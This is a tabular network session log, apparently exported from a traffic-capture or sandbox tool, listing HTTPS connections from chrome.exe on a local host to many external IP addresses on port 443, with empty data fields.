Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.4	51812	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.4	51837	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.4	51832	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.4	51836	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.4	51838	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.4	51823	8.2.108.106	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.4	51839	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.4	51834	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1692	192.168.2.4	51829	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.4	51824	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.4	51835	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.4	51828	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.4	51841	23.20.210.0	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.4	51831	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.4	51833	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.4	51830	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.4	51840	54.234.166.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.4	51842	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.4	51843	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.4	51846	34.111.113.62	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.4	51847	107.20.136.79	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.4	51851	18.160.10.111	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.4	51849	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.4	51844	69.90.254.78	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.4	51848	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.4	51850	34.36.216.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.4	51856	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.4	51854	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.4	51845	35.211.178.172	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.4	51853	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.4	51852	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.4	51855	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.4	51857	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.4	51859	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.4	51858	52.71.188.136	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.4	51860	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.4	51862	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.4	51863	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1722	192.168.2.4	51865	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1723	192.168.2.4	51867	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1724	192.168.2.4	51864	52.46.151.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1725	192.168.2.4	51866	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1726	192.168.2.4	51868	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1727	192.168.2.4	51874	147.28.129.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1728	192.168.2.4	51891	54.84.169.242	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1729	192.168.2.4	51879	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1730	192.168.2.4	51872	8.28.7.81	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1731	192.168.2.4	51873	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1732	192.168.2.4	51871	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.4	51870	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.4	51875	3.231.108.23	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.4	51876	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.4	51878	34.117.239.71	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.4	51882	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.4	51890	3.222.105.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.4	51900	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.4	51895	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.4	51881	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.4	51889	52.46.143.56	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.4	51892	34.198.123.133	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.4	51886	38.68.201.140	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.4	51894	8.2.108.106	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.4	51911	35.190.43.167	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.4	51888	18.213.142.229	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.4	51898	104.22.30.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.4	51887	35.244.250.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.4	51909	50.57.31.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.4	51885	5.161.124.197	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.4	51893	13.249.39.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.4	51883	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.4	51910	141.94.170.77	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.4	51901	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.4	51884	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.4	51905	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.4	51903	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.4	51902	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.4	51904	51.222.39.184	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.4	51908	35.173.149.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.4	51899	216.200.232.253	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.4	51907	52.89.105.164	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.4	51897	85.114.159.118	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.4	51915	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.4	51919	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.4	51918	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.4	51920	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.4	51916	70.42.32.95	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.4	51917	141.94.170.77	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.4	51921	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.4	51922	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.4	51906	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.4	51912	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.4	51913	50.57.31.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.4	51914	13.249.39.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.4	51923	172.67.25.151	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.4	51924	18.160.41.42	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.4	51927	50.57.31.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.4	51925	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.4	51926	8.28.7.84	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.4	51930	104.18.214.59	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.4	51932	52.46.154.144	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.4	51936	108.138.83.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.4	51941	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.4	51928	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.4	51940	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.4	51934	52.94.223.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.4	51935	108.138.83.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.4	51939	108.138.83.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.4	51950	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.4	51956	35.71.139.29	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.4	51946	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.4	51942	172.253.63.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.4	51943	104.22.51.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.4	51955	23.105.12.170	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.4	51957	8.28.7.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.4	51952	141.94.170.77	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1799	192.168.2.4	51959	68.67.160.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1800	192.168.2.4	51961	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1801	192.168.2.4	51962	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1802	192.168.2.4	51963	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1803	192.168.2.4	51964	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
1804	192.168.2.4	51965	35.186.238.232	443

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1805	192.168.2.4	51966	35.186.238.232	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1806	192.168.2.4	51968	18.160.18.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1807	192.168.2.4	51967	34.229.3.43	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1808	192.168.2.4	51969	52.207.168.130	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1809	192.168.2.4	51931	52.89.105.164	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1810	192.168.2.4	51947	35.172.99.217	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1811	192.168.2.4	51937	216.239.32.21	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1812	192.168.2.4	51958	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1813	192.168.2.4	51948	13.249.39.83	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1814	192.168.2.4	51949	50.57.31.206	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1815	192.168.2.4	51951	52.85.132.129	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1816	192.168.2.4	51953	34.240.76.97	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1817	192.168.2.4	51973	18.67.76.76	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1818	192.168.2.4	51972	142.251.167.149	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1819	192.168.2.4	51970	54.86.0.235	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1820	192.168.2.4	51971	192.184.68.134	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1821	192.168.2.4	52007	35.168.164.141	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1822	192.168.2.4	51995	35.186.253.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1823	192.168.2.4	51998	34.198.123.133	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
